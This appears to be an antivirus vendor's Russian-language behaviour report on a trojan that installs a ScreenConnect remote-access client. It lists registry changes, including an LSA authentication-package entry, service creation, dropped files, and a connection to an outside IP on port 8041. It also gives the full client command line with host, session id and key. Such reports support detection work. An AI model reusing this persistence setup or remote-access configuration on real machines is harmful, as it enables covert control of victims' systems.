Trojan.Siggen32.26845

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-80a6f241ba97845f\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (80a6f241ba97845f)\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (80a6f241ba97845f)\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (80a6f241ba97845f)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (80a6f241ba97845f)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (80a6f241ba97845f)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (80a6f241ba97845f)' %ProgramFiles(x86)%\ScreenConnect Client (80a6f241ba97845f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=75.40.142.226&p=8041&s=d6404973-de71-4d04-8b1a-4953f44c9d5a&k=BgIAAACkAABSU0ExA...

Изменения в файловой системе

Создает следующие файлы

%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
%TEMP%\msie2ca.tmp-\screenconnect.installeractions.dll
%TEMP%\msie2ca.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msie2ca.tmp-\microsoft.deployment.windowsinstaller.package.dll
%TEMP%\msie2ca.tmp-\screenconnect.core.dll
%TEMP%\msie2ca.tmp-\screenconnect.windows.dll
%TEMP%\msie2ca.tmp-\microsoft.deployment.compression.dll
%TEMP%\msie2ca.tmp-\microsoft.deployment.compression.cab.dll
%TEMP%\msie2ca.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df36bee0447811f336.tmp
%WINDIR%\installer\sourcehash{df69892d-4347-b9f0-6a1e-00efb59eeeb5}
%WINDIR%\temp\~df50dedb0e0135cd53.tmp
%WINDIR%\temp\~dfae3a4d8df6385bc2.tmp
%WINDIR%\temp\~df1698932889dd2a82.tmp
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\app.config
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\client.resources
%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\system.config
%WINDIR%\installer\{df69892d-4347-b9f0-6a1e-00efb59eeeb5}\defaulticon
%WINDIR%\temp\~dff20d67ac09138420.tmp
%WINDIR%\temp\~dfdce4f8f7ef00828c.tmp
%WINDIR%\temp\~df1cb502a385273092.tmp
%WINDIR%\temp\~dfc2dfb0fdb15057d8.tmp
%WINDIR%\temp\~dfc65d440e3aef9c4e.tmp
%WINDIR%\temp\~df8baffb377d9dcfec.tmp
%WINDIR%\temp\~df642d34c072a58fbb.tmp
%WINDIR%\temp\~dfec1d395d0c4c7a17.tmp
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (80a6f241ba97845f)\wg5lmt1x.newcfg
%TEMP%\content\440-2384-screenconnect.windowsclient.exe-13-12-20-588.dump
%TEMP%\content\440-2384-screenconnect.windowsclient.exe-13-12-20-718.dump
%TEMP%\content\440-2384-screenconnect.windowsclient.exe-13-12-20-749.dump
%WINDIR%\temp\content\3712-788-screenconnect.windowsclient.exe-13-12-23-937.dump
%WINDIR%\temp\content\3712-788-screenconnect.windowsclient.exe-13-12-24-006.dump
%WINDIR%\temp\content\3712-788-screenconnect.windowsclient.exe-13-12-24-022.dump

Удаляет файлы, которые сам же создал

%TEMP%\msie2ca.tmp-\customaction.config
%TEMP%\msie2ca.tmp-\microsoft.deployment.compression.cab.dll
%TEMP%\msie2ca.tmp-\microsoft.deployment.compression.dll
%TEMP%\msie2ca.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msie2ca.tmp-\microsoft.deployment.windowsinstaller.package.dll
%TEMP%\msie2ca.tmp-\screenconnect.core.dll
%TEMP%\msie2ca.tmp-\screenconnect.installeractions.dll
%TEMP%\msie2ca.tmp-\screenconnect.windows.dll

Перемещает следующие файлы

%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (80a6f241ba97845f)\wg5lmt1x.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (80a6f241ba97845f)\user.config

Сетевая активность

Подключается к

'75.##.142.226':8041

TCP

Другие

'75.##.142.226':8041

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=75.##.142.226&p=8041&s=d6404973-de71-4d04-8b1a-4953f44c9d5a&k=BgIAAACkAABSU0ExAAgAAAEAAQClYz2dRgRSKO51indLkYBWh2CRF%2fxDxlsTc%2fJAhyQom0Uz1NDk6vSxwZjHFA97Ucwg70NMcpobL8YO2D...
'%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsclient.exe' "RunRole" "b1ad38c6-a639-4006-9660-5dd610c3c268" "User"
'%ProgramFiles(x86)%\screenconnect client (80a6f241ba97845f)\screenconnect.windowsclient.exe' "RunRole" "43bbb15e-5a07-4d67-ae18-8efdb24693d1" "System"

Запускает на исполнение

'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSIE2CA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_976703 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments